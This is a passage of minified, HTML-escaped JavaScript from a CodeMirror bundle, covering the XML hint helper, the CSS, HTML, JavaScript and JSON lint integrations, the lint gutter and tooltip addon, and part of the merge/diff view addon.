w)!w.hasOwnProperty(E)||j&amp;&amp;0!=E.lastIndexOf(j,0)||l.push(E)}}return{list:l,from:m?c(g.line,null==k?h.start:k):g,to:m?c(g.line,h.end):g}}}}var c=a.Pos;a.registerHelper(&quot;hint&quot;,&quot;xml&quot;,b)})},{&quot;../../lib/codemirror&quot;:59}],29:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.registerHelper(&quot;lint&quot;,&quot;css&quot;,function(b,c){var d=[];if(!window.CSSLint)return window.console&amp;&amp;window.console.error(&quot;Error: window.CSSLint not defined, CodeMirror CSS linting cannot run.&quot;),d;for(var e=CSSLint.verify(b,c),f=e.messages,g=null,h=0;h&lt;f.length;h++){g=f[h];var i=g.line-1,j=g.line-1,k=g.col-1,l=g.col;d.push({from:a.Pos(i,k),to:a.Pos(j,l),message:g.message,severity:g.type})}return d})})},{&quot;../../lib/codemirror&quot;:59}],30:[function(a,b,c){(function(d){!function(e){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?e(a(&quot;../../lib/codemirror&quot;),&quot;undefined&quot;!=typeof window?window.HTMLHint:&quot;undefined&quot;!=typeof d?d.HTMLHint:null):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;htmlhint&quot;],e):e(CodeMirror,window.HTMLHint)}(function(a,b){&quot;use strict&quot;;var c={&quot;tagname-lowercase&quot;:!0,&quot;attr-lowercase&quot;:!0,&quot;attr-value-double-quotes&quot;:!0,&quot;doctype-first&quot;:!1,&quot;tag-pair&quot;:!0,&quot;spec-char-escape&quot;:!0,&quot;id-unique&quot;:!0,&quot;src-not-empty&quot;:!0,&quot;attr-no-duplication&quot;:!0};a.registerHelper(&quot;lint&quot;,&quot;html&quot;,function(d,e){var f=[];if(b&amp;&amp;!b.verify&amp;&amp;(b=b.HTMLHint),b||(b=window.HTMLHint),!b)return window.console&amp;&amp;window.console.error(&quot;Error: HTMLHint not found, not defined on window, or not available through define/require, CodeMirror HTML linting cannot run.&quot;),f;for(var g=b.verify(d,e&amp;&amp;e.rules||c),h=0;h&lt;g.length;h++){var i=g[h],j=i.line-1,k=i.line-1,l=i.col-1,m=i.col;f.push({from:a.Pos(j,l),to:a.Pos(k,m),message:i.message,severity:i.type})}return f})})}).call(this,&quot;undefined&quot;!=typeof global?global:&quot;undefined&quot;!=typeof self?self:&quot;undefined&quot;!=typeof window?window:{})},{&quot;../../lib/codemirror&quot;:59}],31:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){if(!window.JSHINT)return window.console&amp;&amp;window.console.error(&quot;Error: window.JSHINT not defined, CodeMirror JavaScript linting cannot run.&quot;),[];JSHINT(a,b,b.globals);var c=JSHINT.data().errors,d=[];return c&amp;&amp;f(c,d),d}function c(a){return d(a,h,&quot;warning&quot;,!0),d(a,i,&quot;error&quot;),e(a)?null:a}function d(a,b,c,d){var e,f,g,h,i;e=a.description;for(var j=0;j&lt;b.length;j++)f=b[j],g=&quot;string&quot;==typeof f?f:f[0],h=&quot;string&quot;==typeof f?null:f[1],i=e.indexOf(g)!==-1,(d||i)&amp;&amp;(a.severity=c),i&amp;&amp;h&amp;&amp;(a.description=h)}function e(a){for(var b=a.description,c=0;c&lt;g.length;c++)if(b.indexOf(g[c])!==-1)return!0;return!1}function f(b,d){for(var e=0;e&lt;b.length;e++){var f=b[e];if(f){var g,h;if(g=[],f.evidence){var i=g[f.line];if(!i){var j=f.evidence;i=[],Array.prototype.forEach.call(j,function(a,b){&quot;\t&quot;===a&amp;&amp;i.push(b+1)}),g[f.line]=i}if(i.length&gt;0){var k=f.character;i.forEach(function(a){k&gt;a&amp;&amp;(k-=1)}),f.character=k}}var l=f.character-1,m=l+1;f.evidence&amp;&amp;(h=f.evidence.substring(l).search(/.\b/),h&gt;-1&amp;&amp;(m+=h)),f.description=f.reason,f.start=f.character,f.end=m,f=c(f),f&amp;&amp;d.push({message:f.description,severity:f.severity,from:a.Pos(f.line-1,l),to:a.Pos(f.line-1,m)})}}}var g=[&quot;Dangerous comment&quot;],h=[[&quot;Expected &#039;{&#039;&quot;,&quot;Statement body should be inside &#039;{ }&#039; braces.&quot;]],i=[&quot;Missing semicolon&quot;,&quot;Extra comma&quot;,&quot;Missing property name&quot;,&quot;Unmatched &quot;,&quot; and instead saw&quot;,&quot; is not defined&quot;,&quot;Unclosed string&quot;,&quot;Stopping, unable to continue&quot;];a.registerHelper(&quot;lint&quot;,&quot;javascript&quot;,b)})},{&quot;../../lib/codemirror&quot;:59}],32:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.registerHelper(&quot;lint&quot;,&quot;json&quot;,function(b){var c=[];if(!window.jsonlint)return window.console&amp;&amp;window.console.error(&quot;Error: window.jsonlint not defined, CodeMirror JSON linting cannot run.&quot;),c;jsonlint.parseError=function(b,d){var e=d.loc;c.push({from:a.Pos(e.first_line-1,e.first_column),to:a.Pos(e.last_line-1,e.last_column),message:b})};try{jsonlint.parse(b)}catch(d){}return c})})},{&quot;../../lib/codemirror&quot;:59}],33:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,c){function d(b){return e.parentNode?(e.style.top=Math.max(0,b.clientY-e.offsetHeight-5)+&quot;px&quot;,void(e.style.left=b.clientX+5+&quot;px&quot;)):a.off(document,&quot;mousemove&quot;,d)}var e=document.createElement(&quot;div&quot;);return e.className=&quot;CodeMirror-lint-tooltip&quot;,e.appendChild(c.cloneNode(!0)),document.body.appendChild(e),a.on(document,&quot;mousemove&quot;,d),d(b),null!=e.style.opacity&amp;&amp;(e.style.opacity=1),e}function c(a){a.parentNode&amp;&amp;a.parentNode.removeChild(a)}function d(a){a.parentNode&amp;&amp;(null==a.style.opacity&amp;&amp;c(a),a.style.opacity=0,setTimeout(function(){c(a)},600))}function e(c,e,f){function g(){a.off(f,&quot;mouseout&quot;,g),h&amp;&amp;(d(h),h=null)}var h=b(c,e),i=setInterval(function(){if(h)for(var a=f;;a=a.parentNode){if(a&amp;&amp;11==a.nodeType&amp;&amp;(a=a.host),a==document.body)return;if(!a){g();break}}if(!h)return clearInterval(i)},400);a.on(f,&quot;mouseout&quot;,g)}function f(a,b,c){this.marked=[],this.options=b,this.timeout=null,this.hasGutter=c,this.onMouseOver=function(b){r(a,b)},this.waitingFor=0}function g(a,b){return b instanceof Function?{getAnnotations:b}:(b&amp;&amp;b!==!0||(b={}),b)}function h(a){var b=a.state.lint;b.hasGutter&amp;&amp;a.clearGutter(s);for(var c=0;c&lt;b.marked.length;++c)b.marked[c].clear();b.marked.length=0}function i(b,c,d,f){var g=document.createElement(&quot;div&quot;),h=g;return g.className=&quot;CodeMirror-lint-marker-&quot;+c,d&amp;&amp;(h=g.appendChild(document.createElement(&quot;div&quot;)),h.className=&quot;CodeMirror-lint-marker-multiple&quot;),0!=f&amp;&amp;a.on(h,&quot;mouseover&quot;,function(a){e(a,b,h)}),g}function j(a,b){return&quot;error&quot;==a?a:b}function k(a){for(var b=[],c=0;c&lt;a.length;++c){var d=a[c],e=d.from.line;(b[e]||(b[e]=[])).push(d)}return b}function l(a){var b=a.severity;b||(b=&quot;error&quot;);var c=document.createElement(&quot;div&quot;);return c.className=&quot;CodeMirror-lint-message-&quot;+b,&quot;undefined&quot;!=typeof a.messageHTML?c.innerHTML=a.messageHTML:c.appendChild(document.createTextNode(a.message)),c}function m(b,c,d){function e(){g=-1,b.off(&quot;change&quot;,e)}var f=b.state.lint,g=++f.waitingFor;b.on(&quot;change&quot;,e),c(b.getValue(),function(c,d){b.off(&quot;change&quot;,e),f.waitingFor==g&amp;&amp;(d&amp;&amp;c instanceof a&amp;&amp;(c=d),o(b,c))},d,b)}function n(b){var c=b.state.lint,d=c.options,e=d.options||d,f=d.getAnnotations||b.getHelper(a.Pos(0,0),&quot;lint&quot;);if(f)if(d.async||f.async)m(b,f,e);else{var g=f(b.getValue(),e,b);if(!g)return;g.then?g.then(function(a){o(b,a)}):o(b,g)}}function o(a,b){h(a);for(var c=a.state.lint,d=c.options,e=k(b),f=0;f&lt;e.length;++f){var g=e[f];if(g){for(var m=null,n=c.hasGutter&amp;&amp;document.createDocumentFragment(),o=0;o&lt;g.length;++o){var p=g[o],q=p.severity;q||(q=&quot;error&quot;),m=j(m,q),d.formatAnnotation&amp;&amp;(p=d.formatAnnotation(p)),c.hasGutter&amp;&amp;n.appendChild(l(p)),p.to&amp;&amp;c.marked.push(a.markText(p.from,p.to,{className:&quot;CodeMirror-lint-mark-&quot;+q,__annotation:p}))}c.hasGutter&amp;&amp;a.setGutterMarker(f,s,i(n,m,g.length&gt;1,c.options.tooltips))}}d.onUpdateLinting&amp;&amp;d.onUpdateLinting(b,e,a)}function p(a){var b=a.state.lint;b&amp;&amp;(clearTimeout(b.timeout),b.timeout=setTimeout(function(){n(a)},b.options.delay||500))}function q(a,b){for(var c=b.target||b.srcElement,d=document.createDocumentFragment(),f=0;f&lt;a.length;f++){var g=a[f];d.appendChild(l(g))}e(b,d,c)}function r(a,b){var c=b.target||b.srcElement;if(/\bCodeMirror-lint-mark-/.test(c.className)){for(var d=c.getBoundingClientRect(),e=(d.left+d.right)/2,f=(d.top+d.bottom)/2,g=a.findMarksAt(a.coordsChar({left:e,top:f},&quot;client&quot;)),h=[],i=0;i&lt;g.length;++i){var j=g[i].__annotation;j&amp;&amp;h.push(j)}h.length&amp;&amp;q(h,b)}}var s=&quot;CodeMirror-lint-markers&quot;;a.defineOption(&quot;lint&quot;,!1,function(b,c,d){if(d&amp;&amp;d!=a.Init&amp;&amp;(h(b),b.state.lint.options.lintOnChange!==!1&amp;&amp;b.off(&quot;change&quot;,p),a.off(b.getWrapperElement(),&quot;mouseover&quot;,b.state.lint.onMouseOver),clearTimeout(b.state.lint.timeout),delete b.state.lint),c){for(var e=b.getOption(&quot;gutters&quot;),i=!1,j=0;j&lt;e.length;++j)e[j]==s&amp;&amp;(i=!0);var k=b.state.lint=new f(b,g(b,c),i);k.options.lintOnChange!==!1&amp;&amp;b.on(&quot;change&quot;,p),0!=k.options.tooltips&amp;&amp;&quot;gutter&quot;!=k.options.tooltips&amp;&amp;a.on(b.getWrapperElement(),&quot;mouseover&quot;,k.onMouseOver),n(b)}}),a.defineExtension(&quot;performLint&quot;,function(){this.state.lint&amp;&amp;n(this)})})},{&quot;../../lib/codemirror&quot;:59}],34:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;diff_match_patch&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){this.mv=a,this.type=b,this.classes=&quot;left&quot;==b?{chunk:&quot;CodeMirror-merge-l-chunk&quot;,start:&quot;CodeMirror-merge-l-chunk-start&quot;,end:&quot;CodeMirror-merge-l-chunk-end&quot;,insert:&quot;CodeMirror-merge-l-inserted&quot;,del:&quot;CodeMirror-merge-l-deleted&quot;,connect:&quot;CodeMirror-merge-l-connect&quot;}:{chunk:&quot;CodeMirror-merge-r-chunk&quot;,start:&quot;CodeMirror-merge-r-chunk-start&quot;,end:&quot;CodeMirror-merge-r-chunk-end&quot;,insert:&quot;CodeMirror-merge-r-inserted&quot;,del:&quot;CodeMirror-merge-r-deleted&quot;,connect:&quot;CodeMirror-merge-r-connect&quot;}}function c(b){b.diffOutOfDate&amp;&amp;(b.diff=z(b.orig.getValue(),b.edit.getValue(),b.mv.options.ignoreWhitespace),b.chunks=A(b.diff),b.diffOutOfDate=!1,a.signal(b.edit,&quot;updateDiff&quot;,b.diff))}function d(b){function d(a){W=!0,p=!1,&quot;full&quot;==a&amp;&amp;(b.svg&amp;&amp;J(b.svg),b.copyButtons&amp;&amp;J(b.copyButtons),j(b.edit,m.marked,b.classes),j(b.orig,o.marked,b.classes),m.from=m.to=o.from=o.to=0),c(b),b.showDifferences&amp;&amp;(k(b.edit,b.diff,m,DIFF_INSERT,b.classes),k(b.orig,b.diff,o,DIFF_DELETE,b.classes)),&quot;align&quot;==b.mv.options.connect&amp;&amp;s(b),n(b),null!=b.needsScrollSync&amp;&amp;f(b,b.needsScrollSync),W=!1}function e(a){W||(b.dealigned=!0,g(a))}function g(a){W||p||(clearTimeout(l),a===!0&amp;&amp;(p=!0),l=setTimeout(d,a===!0?20:250))}function h(a,c){b.diffOutOfDate||(b.diffOutOfDate=!0,m.from=m.to=o.from=o.to=0),e(c.text.length-1!=c.to.line-c.from.line)}function i(){b.diffOutOfDate=!0,b.dealigned=!0,d(&quot;full&quot;)}var l,m={from:0,to:0,marked:[]},o={from:0,to:0,marked:[]},p=!1;return b.edit.on(&quot;change&quot;,h),b.orig.on(&quot;change&quot;,h),b.edit.on(&quot;swapDoc&quot;,i),b.orig.on(&quot;swapDoc&quot;,i),&quot;align&quot;==b.mv.options.connect&amp;&amp;(a.on(b.edit.state.trackAlignable,&quot;realign&quot;,e),a.on(b.orig.state.trackAlignable,&quot;realign&quot;,e)),b.edit.on(&quot;viewportChange&quot;,function(){g(!1)}),b.orig.on(&quot;viewportChange&quot;,function(){g(!1)}),d(),d}function e(a,b){a.edit.on(&quot;scroll&quot;,function(){f(a,!0)&amp;&amp;n(a)}),a.orig.on(&quot;scroll&quot;,function(){f(a,!1)&amp;&amp;n(a),b&amp;&amp;f(b,!0)&amp;&amp;n(b)})}function f(a,b){if(a.diffOutOfDate)return a.lockScroll&amp;&amp;null==a.needsScrollSync&amp;&amp;(a.needsScrollSync=b),!1;if(a.needsScrollSync=null,!a.lockScroll)return!0;var c,d,e=+new Date;if(b?(c=a.edit,d=a.orig):(c=a.orig,d=a.edit),c.state.scrollSetBy==a&amp;&amp;(c.state.scrollSetAt||0)+250&gt;e)return!1;var f=c.getScrollInfo();if(&quot;align&quot;==a.mv.options.connect)q=f.top;else{var h,i,j=.5*f.clientHeight,k=f.top+j,l=c.lineAtHeight(k,&quot;local&quot;),m=D(a.chunks,l,b),n=g(c,b?m.edit:m.orig),o=g(d,b?m.orig:m.edit),p=(k-n.top)/(n.bot-n.top),q=o.top-j+p*(o.bot-o.top);if(q&gt;f.top&amp;&amp;(i=f.top/j)&lt;1)q=q*i+f.top*(1-i);else if((h=f.height-f.clientHeight-f.top)&lt;j){var r=d.getScrollInfo(),s=r.height-r.clientHeight-q;s&gt;h&amp;&amp;(i=h/j)&lt;1&amp;&amp;(q=q*i+(r.height-r.clientHeight-h)*(1-i))}}return d.scrollTo(f.left,q),d.state.scrollSetAt=e,d.state.scrollSetBy=a,!0}function g(a,b){var c=b.after;return null==c&amp;&amp;(c=a.lastLine()+1),{top:a.heightAtLine(b.before||0,&quot;local&quot;),bot:a.heightAtLine(c,&quot;local&quot;)}}function h(a,b,c){a.lockScroll=b,b&amp;&amp;0!=c&amp;&amp;f(a,DIFF_INSERT)&amp;&amp;n(a),a.lockButton.innerHTML=b?&quot;\u21db\u21da&quot;:&quot;\u21db&amp;nbsp;&amp;nbsp;\u21da&quot;}function i(a,b,c){for(var d=c.classLocation,e=0;e&lt;d.length;e++)a.removeLineClass(b,d[e],c.chunk),a.removeLineClass(b,d[e],c.start),a.removeLineClass(b,d[e],c.end)}function j(b,c,d){for(var e=0;e&lt;c.length;++e){var f=c[e];f instanceof a.TextMarker?f.clear():f.parent&amp;&amp;i(b,f,d)}c.length=0}function k(a,b,c,d,e){var f=a.getViewport();a.operation(function(){c.from==c.to||f.from-c.to&gt;20||c.from-f.to&gt;20?(j(a,c.marked,e),m(a,b,d,c.marked,f.from,f.to,e),c.from=f.from,c.to=f.to):(f.from&lt;c.from&amp;&amp;(m(a,b,d,c.marked,f.from,c.from,e),c.from=f.from),f.to&gt;c.to&amp;&amp;(m(a,b,d,c.marked,c.to,f.to,e),c.to=f.to))})}function l(a,b,c,d,e,f){for(var g=c.classLocation,h=a.getLineHandle(b),i=0;i&lt;g.length;i++)d&amp;&amp;a.addLineClass(h,g[i],c.chunk),e&amp;&amp;a.addLineClass(h,g[i],c.start),f&amp;&amp;a.addLineClass(h,g[i],c.end);return h}function m(a,b,c,d,e,f,g){function h(b,c){for(var h=Math.max(e,b),i=Math.min(f,c),j=h;j&lt;i;++j)d.push(l(a,j,g,!0,j==b,j==c-1));b==c&amp;&amp;h==c&amp;&amp;i==c&amp;&amp;(h?d.push(l(a,h-1,g,!1,!1,!0)):d.push(l(a,h,g,!1,!0,!1)))}for(var i=U(0,0),j=U(e,0),k=a.clipPos(U(f-1)),m=c==DIFF_DELETE?g.del:g.insert,n=0,o=!1,p=0;p&lt;b.length;++p){var q=b[p],r=q[0],s=q[1];if(r==DIFF_EQUAL){var t=i.line+(C(b,p)?0:1);M(i,s);var u=i.line+(B(b,p)?1:0);u&gt;t&amp;&amp;(o&amp;&amp;(h(n,t),o=!1),n=u)}else if(o=!0,r==c){var v=M(i,s,!0),w=P(j,i),x=O(k,v);Q(w,x)||d.push(a.markText(w,x,{className:m})),i=v}}o&amp;&amp;h(n,i.line+1)}function n(a){if(a.showDifferences){if(a.svg){J(a.svg);var b=a.gap.offsetWidth;K(a.svg,&quot;width&quot;,b,&quot;height&quot;,a.gap.offsetHeight)}a.copyButtons&amp;&amp;J(a.copyButtons);for(var c=a.edit.getViewport(),d=a.orig.getViewport(),e=a.mv.wrap.getBoundingClientRect().top,f=e-a.edit.getScrollerElement().getBoundingClientRect().top+a.edit.getScrollInfo().top,g=e-a.orig.getScrollerElement().getBoundingClientRect().top+a.orig.getScrollInfo().top,h=0;h&lt;a.chunks.length;h++){var i=a.chunks[h];i.editFrom&lt;=c.to&amp;&amp;i.editTo&gt;=c.from&amp;&amp;i.origFrom&lt;=d.to&amp;&amp;i.origTo&gt;=d.from&amp;&amp;v(a,i,g,f,b)}}}function o(a,b){for(var c=0,d=0,e=0;e&lt;b.length;e++){var f=b[e];if(f.editTo&gt;a&amp;&amp;f.editFrom&lt;=a)return null;if(f.editFrom&gt;a)break;c=f.editTo,d=f.origTo}return d+(a-c)}function p(a,b,c){for(var d=a.state.trackAlignable,e=a.firstLine(),f=0,g=[],h=0;;h++){for(var i=b[h],j=i?c?i.origFrom:i.editFrom:1e9;f&lt;d.alignable.length;f+=2){var k=d.alignable[f]+1;if(!(k&lt;=e)){if(!(k&lt;=j))break;g.push(k)}}if(!i)break;g.push(e=c?i.origTo:i.editTo)}return g}function q(a,b,c,d){var e=0,f=0,g=0,h=0;a:for(;;e++){var i=a[e],j=b[f];if(!i&amp;&amp;null==j)break;for(var k=i?i[0]:1e9,l=null==j?1e9:j;g&lt;c.length;){var m=c[g];if(m.origFrom&lt;=l&amp;&amp;m.origTo&gt;l){f++,e--;continue a}if(m.editTo&gt;k){if(m.editFrom&lt;=k)continue a;break}h+=m.origTo-m.origFrom-(m.editTo-m.editFrom),g++}if(k==l-h)i[d]=l,f++;else if(k&lt;l-h)i[d]=k+h;else{var n=[l-h,null,null];n[d]=l,a.splice(e,0,n),f++}}}function r(a,b){var c=p(a.edit,a.chunks,!1),d=[];if(b)for(var e=0,f=0;e&lt;b.chunks.length;e++){for(var g=b.chunks[e].editTo;f&lt;c.length&amp;&amp;c[f]&lt;g;)f++;f!=c.length&amp;&amp;c[f]==g||c.splice(f++,0,g)}for(var e=0;e&lt;c.length;e++)d.push([c[e],null,null]);return q(d,p(a.orig,a.chunks,!0),a.chunks,1),b&amp;&amp;q(d,p(b.orig,b.chunks,!0),b.chunks,2),d}function s(a,b){if(a.dealigned||b){if(!a.orig.curOp)return a.orig.operation(function(){s(a,b)});a.dealigned=!1;var d=a.mv.left==a?a.mv.right:a.mv.left;d&amp;&amp;(c(d),d.dealigned=!1);for(var e=r(a,d),f=a.mv.aligners,g=0;g&lt;f.length;g++)f[g].clear();f.length=0;var h=[a.edit,a.orig],i=[];d&amp;&amp;h.push(d.orig);for(var g=0;g&lt;h.length;g++)i.push(h[g].getScrollInfo().top);for(var j=0;j&lt;e.length;j++)t(h,e[j],f);for(var g=0;g&lt;h.length;g++)h[g].scrollTo(null,i[g])}}function t(a,b,c){for(var d=0,e=[],f=0;f&lt;a.length;f++)if(null!=b[f]){var g=a[f].heightAtLine(b[f],&quot;local&quot;);e[f]=g,d=Math.max(d,g)}for(var f=0;f&lt;a.length;f++)if(null!=b[f]){var h=d-e[f];h&gt;1&amp;&amp;c.push(u(a[f],b[f],h))}}function u(a,b,c){var d=!0;b&gt;a.lastLine()&amp;&amp;(b--,d=!1);var e=document.createElement(&quot;div&quot;);return e.className=&quot;CodeMirror-merge-spacer&quot;,e.style.height=c+&quot;px&quot;,e.style.minWidth=&quot;1px&quot;,a.addLineWidget(b,e,{height:c,above:d,mergeSpacer:!0,handleMouseEvents:!0})}function v(a,b,c,d,e){var f=&quot;left&quot;==a.type,g=a.orig.heightAtLine(b.origFrom,&quot;local&quot;,!0)-c;if(a.svg){var h=g,i=a.edit.heightAtLine(b.editFrom,&quot;local&quot;,!0)-d;if(f){var j=h;h=i,i=j}var k=a.orig.heightAtLine(b.origTo,&quot;local&quot;,!0)-c,l=a.edit.heightAtLine(b.editTo,&quot;local&quot;,!0)-d;if(f){var j=k;k=l,l=j}var m=&quot; C &quot;+e/2+&quot; &quot;+i+&quot; &quot;+e/2+&quot; &quot;+h+&quot; &quot;+(e+2)+&quot; &quot;+h,n=&quot; C &quot;+e/2+&quot; &quot;+k+&quot; &quot;+e/2+&quot; &quot;+l+&quot; -1 &quot;+l;K(a.svg.appendChild(document.createElementNS(V,&quot;path&quot;)),&quot;d&quot;,&quot;M -1 &quot;+i+m+&quot; L &quot;+(e+2)+&quot; &quot;+k+n+&quot; z&quot;,&quot;class&quot;,a.classes.connect)}if(a.copyButtons){var o=a.copyButtons.appendChild(I(&quot;div&quot;,&quot;left&quot;==a.type?&quot;\u21dd&quot;:&quot;\u21dc&quot;,&quot;CodeMirror-merge-copy&quot;)),p=a.mv.options.allowEditingOriginals;if(o.title=p?&quot;Push to left&quot;:&quot;Revert chunk&quot;,o.chunk=b,o.style.top=(b.origTo&gt;b.origFrom?g:a.edit.heightAtLine(b.editFrom,&quot;local&quot;)-d)+&quot;px&quot;,p){var q=a.edit.heightAtLine(b.editFrom,&quot;local&quot;)-d,r=a.copyButtons.appendChild(I(&quot;div&quot;,&quot;right&quot;==a.type?&quot;\u21dd&quot;:&quot;\u21dc&quot;,&quot;CodeMirror-merge-copy-reverse&quot;));r.title=&quot;Push to right&quot;,r.chunk={editFrom:b.origFrom,editTo:b.origTo,origFrom:b.editFrom,origTo:b.editTo},r.style.top=q+&quot;px&quot;,&quot;right&quot;==a.type?r.style.left=&quot;2px&quot;:r.style.right=&quot;2px&quot;}}}function w(a,b,c,d){if(!a.diffOutOfDate){var e=d.origTo&gt;c.lastLine()?U(d.origFrom-1):U(d.origFrom,0),f=U(d.origTo,0),g=d.editTo&gt;b.lastLine()?U(d.editFrom-1):U(d.editFrom,0),h=U(d.editTo,0),i=a.mv.options.revertChunk;i?i(a.mv,c,e,f,b,g,h):b.replaceRange(c.getRange(e,f),g,h)}}function x(b){var c=b.lockButton=I(&quot;div&quot;,null,&quot;CodeMirror-merge-scrolllock&quot;);c.title=&quot;Toggle locked scrolling&quot;;var d=I(&quot;div&quot;,[c],&quot;CodeMirror-merge-scrolllock-wrap&quot;);a.on(c,&quot;click&quot;,function(){h(b,!b.lockScroll)});var e=[d];if(b.mv.options.revertButtons!==!1&amp;&amp;(b.copyButtons=I(&quot;div&quot;,null,&quot;CodeMirror-merge-copybuttons-&quot;+b.type),a.on(b.copyButtons,&quot;click&quot;,function(a){var c=a.target||a.srcElement;if(c.chunk)return&quot;CodeMirror-merge-copy-reverse&quot;==c.className?void w(b,b.orig,b.edit,c.chunk):void w(b,b.edit,b.orig,c.chunk)}),e.unshift(b.copyButtons)),&quot;align&quot;!=b.mv.options.connect){var f=document.createElementNS&amp;&amp;document.createElementNS(V,&quot;svg&quot;);f&amp;&amp;!f.createSVGRect&amp;&amp;(f=null),b.svg=f,f&amp;&amp;e.push(f)}return b.gap=I(&quot;div&quot;,e,&quot;CodeMirror-merge-gap&quot;)}function y(a){return&quot;string&quot;==typeof a?a:a.getValue()}function z(a,b,c){Y||(Y=new diff_match_patch);for(var d=Y.diff_main(a,b),e=0;e&lt;d.length;++e){var f=d[e];(c?/[^ \t]/.test(f[1]):f[1])?e&amp;&amp;d[e-1][0]==f[0]&amp;&amp;(d.splice(e--,1),d[e][1]+=f[1]):d.splice(e--,1)}return d}function A(a){for(var b=[],c=0,d=0,e=U(0,0),f=U(0,0),g=0;g&lt;a.length;++g){var h=a[g],i=h[0];if(i==DIFF_EQUAL){var j=!C(a,g)||e.line&lt;c||f.line&lt;d?1:0,k=e.line+j,l=f.line+j;M(e,h[1],null,f);var m=B(a,g)?1:0,n=e.line+m,o=f.line+m;n&gt;k&amp;&amp;(g&amp;&amp;b.push({origFrom:d,origTo:l,editFrom:c,editTo:k}),c=n,d=o)}else M(i==DIFF_INSERT?e:f,h[1])}return(c&lt;=e.line||d&lt;=f.line)&amp;&amp;b.push({origFrom:d,origTo:f.line+1,editFrom:c,editTo:e.line+1}),b}function B(a,b){if(b==a.length-1)return!0;var c=a[b+1][1];return!(1==c.length&amp;&amp;b&lt;a.length-2||10!=c.charCodeAt(0))&amp;&amp;(b==a.length-2||(c=a[b+2][1],(c.length&gt;1||b==a.length-3)&amp;&amp;10==c.charCodeAt(0)))}function C(a,b){if(0==b)return!0;var c=a[b-1][1];return 10==c.charCodeAt(c.length-1)&amp;&amp;(1==b||(c=a[b-2][1],10==c.charCodeAt(c.length-1)))}function D(a,b,c){for(var d,e,f,g,h=0;h&lt;a.length;h++){var i=a[h],j=c?i.editFrom:i.origFrom,k=c?i.editTo:i.origTo;null==e&amp;&amp;(j&gt;b?(e=i.editFrom,g=i.origFrom):k&gt;b&amp;&amp;(e=i.editTo,g=i.origTo)),k&lt;=b?(d=i.editTo,f=i.origTo):j&lt;=b&amp;&amp;(d=i.editFrom,f=i.origFrom)}return{edit:{before:d,after:e},orig:{before:f,after:g}}}function E(b,c,d){function e(){g.clear(),b.removeLineClass(c,&quot;wrap&quot;,&quot;CodeMirror-merge-collapsed-line&quot;)}b.addLineClass(c,&quot;wrap&quot;,&quot;CodeMirror-merge-collapsed-line&quot;);var f=document.createElement(&quot;span&quot;);f.className=&quot;CodeMirror-merge-collapsed-widget&quot;,f.title=&quot;Identical text collapsed. Click to expand.&quot;;var g=b.markText(U(c,0),U(d-1),{inclusiveLeft:!0,inclusiveRight:!0,replacedWith:f,clearOnEnter:!0});return a.on(f,&quot;click&quot;,e),{mark:g,clear:e}}function F(a,b){function c(){for(var a=0;a&lt;d.length;a++)d[a].clear()}for(var d=[],e=0;e&lt;b.length;e++){var f=b[e],g=E(f.cm,f.line,f.line+a);d.push(g),g.mark.on(&quot;clear&quot;,c)}return d[0].mark}function G(a,b,c,d){for(var e=0;e&lt;a.chunks.length;e++)for(var f=a.chunks[e],g=f.editFrom-b;g&lt;f.editTo+b;g++){var h=g+c;h&gt;=0&amp;&amp;h&lt;d.length&amp;&amp;(d[h]=!1)}}function H(a,b){&quot;number&quot;!=typeof b&amp;&amp;(b=2);for(var c=[],d=a.editor(),e=d.firstLine(),f=e,g=d.lastLine();f&lt;=g;f++)c.push(!0);a.left&amp;&amp;G(a.left,b,e,c),a.right&amp;&amp;G(a.right,b,e,c);for(var h=0;h&lt;c.length;h++)if(c[h]){for(var i=h+e,j=1;h&lt;c.length-1&amp;&amp;c[h+1];h++,j++);if(j&gt;b){var k=[{line:i,cm:d}];a.left&amp;&amp;k.push({line:o(i,a.left.chunks),cm:a.left.orig}),a.right&amp;&amp;k.push({line:o(i,a.right.chunks),cm:a.right.orig});var l=F(j,k);a.options.onCollapse&amp;&amp;a.options.onCollapse(a,i,j,l)}}}function I(a,b,c,d){var e=document.createElement(a);if(c&amp;&amp;(e.className=c),d&amp;&amp;(e.style.cssText=d),&quot;string&quot;==typeof b)e.appendChild(document.createTextNode(b));else if(b)for(var f=0;f&lt;b.length;++f)e.appendChild(b[f]);return e}function J(a){for(var b=a.childNodes.length;b&gt;0;--b)a.removeChild(a.firstChild)}function K(a){for(var b=1;b&lt;arguments.length;b+=2)a.setAttribute(arguments[b],arguments[b+1])}function L(a,b){b||(b={});for(var c in a)a.hasOwnProperty(c)&amp;&amp;(b[c]=a[c]);return b}function M(a,b,c,d){for(var e=c?U(a.line,a.ch):a,f=0;;){var g=b.indexOf(&quot;\n&quot;,f);if(g==-1)break;++e.line,d&amp;&amp;++d.line,f=g+1}return e.ch=(f?0:e.ch)+(b.length-f),d&amp;&amp;(d.ch=(f?0:d.ch)+(b.length-f)),e}function N(a){this.cm=a,this.alignable=[],this.height=a.doc.height;var 